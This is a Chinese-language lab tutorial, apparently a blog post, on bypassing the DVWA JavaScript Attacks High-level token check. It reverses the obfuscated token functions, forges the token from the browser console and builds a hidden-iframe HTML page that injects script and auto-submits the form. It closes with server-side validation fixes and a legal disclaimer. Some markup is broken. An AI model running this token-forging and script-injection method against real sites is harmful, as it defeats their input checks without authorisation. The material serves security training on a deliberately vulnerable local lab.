本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
以下是针对DVWA(Damn Vulnerable Web Application)中 JavaScript Attacks模块High级别的详细漏洞分析与利用教程,结合多篇技术资料整理而成。
在High级别中,DVWA使用了高度混淆的JavaScript代码和多级SHA256哈希验证机制,但关键漏洞依然是客户端验证。攻击者可以通过分析混淆代码,理解Token生成流程,从而绕过验证机制。
// 1. 字符串反转函数
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t;
}
// 2. 第一阶段Token处理
function token_part_1(a, b) {
document.getElementById("token").value = do_something(
document.getElementById("phrase").value
);
}
// 3. 第二阶段Token处理(300ms后执行)
function token_part_2(e = "XX") {
document.getElementById("token").value = sha256(
e + document.getElementById("token").value
);
}
// 4. 第三阶段Token处理(点击提交时执行)
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(
document.getElementById("token").value + y
);
}
// 初始化流程
document.getElementById("phrase").value = "";
token_part_1("ABCD", 44); // 立即执行
setTimeout(() => token_part_2("XX"), 300); // 300ms后执行
document.getElementById("send").addEventListener("click", token_part_3); // 点击时执行
token_part_1
执行:反转字符串(“success” → “sseccus”)token_part_2
执行(300ms后):添加"XX"前缀并SHA256哈希(“XXsseccus” → SHA256)token_part_3
执行:添加"ZZ"后缀并再次SHA256哈希(SHA256结果 + “ZZ” → 最终Token)// 1. 设置短语
document.getElementById("phrase").value = "success";
// 2. 执行第一阶段:反转字符串
token_part_1("ABCD", 44); // 此时token变为"sseccus"
// 3. 执行第二阶段:添加"XX"前缀并SHA256
token_part_2("XX"); // 生成中间哈希值
// 4. 执行第三阶段:添加"ZZ"后缀并SHA256
token_part_3("", "ZZ"); // 生成最终Token
// 5. 提交表单
document.forms[0].submit();
计算第一步:反转字符串
const phrase = "success";
const reversed = phrase.split('').reverse().join(''); // "sseccus"
计算第二步:第一次SHA256
// 使用在线SHA256工具或控制台计算
const step1 = "XX" + reversed; // "XXsseccus"
const hash1 = sha256(step1); // 示例:7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a
计算第三步:第二次SHA256
const step2 = hash1 + "ZZ";
const finalToken = sha256(step2); // 示例:28638d855bc00d62b33f9643eab3e43d8335ab2b308039abd8fb8bef86331b14
手动提交:
success
finalToken
DOCTYPE html>
<html>
<body>
<script>
function attackDVWA() {
// 1. 创建隐藏iframe访问目标页面
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.onload = function() {
const doc = iframe.contentDocument;
// 2. 设置目标短语
doc.getElementById("phrase").value = "success";
// 3. 获取并执行原始脚本
const scripts = doc.getElementsByTagName('script');
for (let script of scripts) {
if (script.src.includes('high.js')) {
// 4. 直接调用混淆函数
const newScript = doc.createElement('script');
newScript.textContent = `
token_part_1("ABCD", 44);
token_part_2("XX");
token_part_3("", "ZZ");
document.forms[0].submit();
`;
doc.body.appendChild(newScript);
break;
}
}
};
// 5. 设置目标URL(需先登录DVWA)
iframe.src = 'http://localhost/dvwa/vulnerabilities/javascript/';
}
// 执行攻击
attackDVWA();
script>
body>
html>
混淆代码还原:
setTimeout
和addEventListener
调用顺序SHA256哈希机制:
// 典型SHA256实现结构
function sha256(input) {
// 初始化哈希常量
const K = [0x428a2f98, 0x71374491, ...];
// 消息填充和分块处理
// 多轮压缩函数运算
// 返回十六进制哈希值
}
两次哈希增加复杂度但仍在客户端进行
时序攻击关键:
token_part_2
的300ms延迟必须等待token_part_3
绑定在点击事件上// 服务器端验证示例
session_start();
$validToken = hash('sha256', hash('sha256', "XX".strrev($_SESSION['secret'])."ZZ"));
if ($_POST['token'] !== $validToken || $_POST['phrase'] !== "success") {
die("Invalid request!");
}
增强防护机制:
混淆技术的局限性:
通过本教程,您已掌握DVWA High级别JavaScript攻击的核心技术。关键要点是:无论客户端如何混淆加密,只要验证逻辑在客户端执行,就存在被绕过的风险。实际应用中务必在服务端完成最终验证。
: 展示了HMAC-SHA256的应用实例,说明单纯SHA256的不足
: 提供了DVWA各难度级别的对比分析,包括High级别的混淆技术
: 详细解释了SHA256的JavaScript实现原理
// 服务端Token验证示例(Impossible级别思路)
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$expectedToken = hash('sha256', hash('sha256', "XX" . strrev($_SESSION['secret']) . "ZZ"));
if ($_POST['token'] !== $expectedToken || $_POST['phrase'] !== "success") {
die("Invalid token!");
}
echo "Success!";
}
?>
关键改进:
安全级别 | Token生成位置 | 加密逻辑 | 绕过难度 |
---|---|---|---|
Low | 客户端 | 无加密(ROT13+MD5) | ⭐ |
Medium | 客户端 | 字符串反转 | ⭐⭐ |
High | 客户端 | SHA256混淆 | ⭐⭐⭐ |
Impossible | 服务端 | 动态密钥+多次哈希 | 无法绕过 |
总结:High级别的混淆虽增加分析成本,但未解决核心问题——信任客户端输入。安全设计的核心原则是:关键逻辑必须在服务端实现,且需结合会话隔离与动态密钥。建议在实战中参考Impossible级别的服务端验证模型。
宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。